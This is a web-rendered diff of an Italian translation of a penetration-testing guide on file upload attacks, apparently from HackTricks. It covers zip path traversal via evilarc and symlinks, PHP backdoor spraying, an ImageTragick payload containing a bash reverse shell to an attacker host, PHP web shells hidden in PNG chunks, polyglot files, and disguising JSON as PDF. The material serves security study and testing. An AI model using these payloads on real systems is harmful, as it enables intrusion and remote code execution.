Inoltre, l'**symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante la sua esecuzione.
|
||||
|
||||
Di seguito è riportato un esempio di codice Python usato per creare un file zip malevolo:
|
||||
Di seguito è riportato un esempio di codice Python usato per creare un file zip dannoso:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -257,7 +286,7 @@ create_zip()
|
||||
```
|
||||
**Abuso della compressione per file spraying**
|
||||
|
||||
Per maggiori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Per ulteriori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: Viene scritto codice PHP per eseguire comandi passati tramite la variabile `$_REQUEST`.
|
||||
|
||||
@ -276,7 +305,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un editor esadecimale, sostituendo "xxA" con "../" per attraversare le directory.
|
||||
3. **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, sostituendo "xxA" con "../" per attraversare le directory.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -286,38 +315,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick, 7.0.1-1)** (dal [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dal [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Incorporare PHP Shell in PNG
|
||||
## Incorporare una PHP shell in PNG
|
||||
|
||||
Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di image processing. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate rispettivamente per il ridimensionamento e il resampling delle immagini. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni rappresenta un vantaggio significativo in alcuni casi d'uso.
|
||||
Incorporare una PHP shell nel chunk IDAT di un file PNG può efficacemente bypassare certe operazioni di image processing. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, in quanto sono comunemente usate per ridimensionare e risamplerizzare immagini, rispettivamente. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
|
||||
|
||||
Una esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è disponibile nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
|
||||
Una esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
Maggiori informazioni su: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## File Polyglot
|
||||
## Polyglot Files
|
||||
|
||||
I file polyglot fungono da strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Questi file non sono limitati a questa coppia; sono possibili anche combinazioni come GIF e JS o PPT e JS.
|
||||
I polyglot files sono uno strumento unico in cybersecurity, funzionando come camaleonti che possono esistere validamente in più formati di file simultaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come RAR archive. Questi file non si limitano a questa combinazione; sono possibili anche accoppiamenti come GIF e JS o PPT e JS.
|
||||
|
||||
L'utilità principale dei polyglot risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Una pratica comune in molte applicazioni consiste nel permettere solo determinati tipi di file per l'upload — come JPEG, GIF, o DOC — per mitigare il rischio posto da formati potenzialmente dannosi (es. JS, PHP, o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare furtivamente queste restrizioni.
|
||||
L'utilità principale dei polyglot sta nella loro capacità di eludere misure di sicurezza che controllano i file basandosi sul tipo. Una pratica comune in molte applicazioni è permettere solo alcuni tipi di file in upload—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente pericolosi (es., JS, PHP o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare queste restrizioni in modo furtivo.
|
||||
|
||||
Nonostante la loro adattabilità, i polyglot incontrano dei limiti. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle policy della piattaforma riguardo alle estensioni dei file. Se il sistema è rigoroso sulle estensioni consentite, la semplice dualità strutturale di un polyglot potrebbe non essere sufficiente a garantire l'upload.
|
||||
Nonostante la loro adattabilità, i polyglot incontrano delle limitazioni. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un PHAR file (PHp ARchive) e un JPEG, il successo dell'upload potrebbe dipendere dalle policy sulle estensioni della piattaforma. Se il sistema è rigoroso sulle estensioni consentite, la mera dualità strutturale di un polyglot potrebbe non essere sufficiente per garantirne l'upload.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
Maggiori informazioni su: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Caricare JSON validi come se fossero PDF
|
||||
|
||||
Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito, fingendo un file PDF (tecniche tratte da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Come evitare il rilevamento del tipo di file caricando un JSON valido anche se non consentito, falsificando un file PDF (tecniche descritte in **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
|
||||
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post)
|
||||
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF
|
||||
- **`mmmagic` library**: Finché i magic bytes `%PDF` sono nei primi 1024 byte è considerato valido (vedi esempio nel post)
|
||||
- **`pdflib` library**: Aggiungi un falso formato PDF all'interno di un campo del JSON così la library penserà sia un PDF (vedi esempio nel post)
|
||||
- **`file` binary**: Può leggere fino a 1048576 byte da un file. Basta creare un JSON più grande di tale soglia in modo che non possa parsare il contenuto come JSON e poi inserire all'interno del JSON la parte iniziale di un vero PDF: il tool penserà sia un PDF
|
||||
|
||||
## Riferimenti
|
||||
|
||||
@ -329,5 +358,8 @@ Come evitare il rilevamento del tipo di file caricando un file JSON valido anche
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user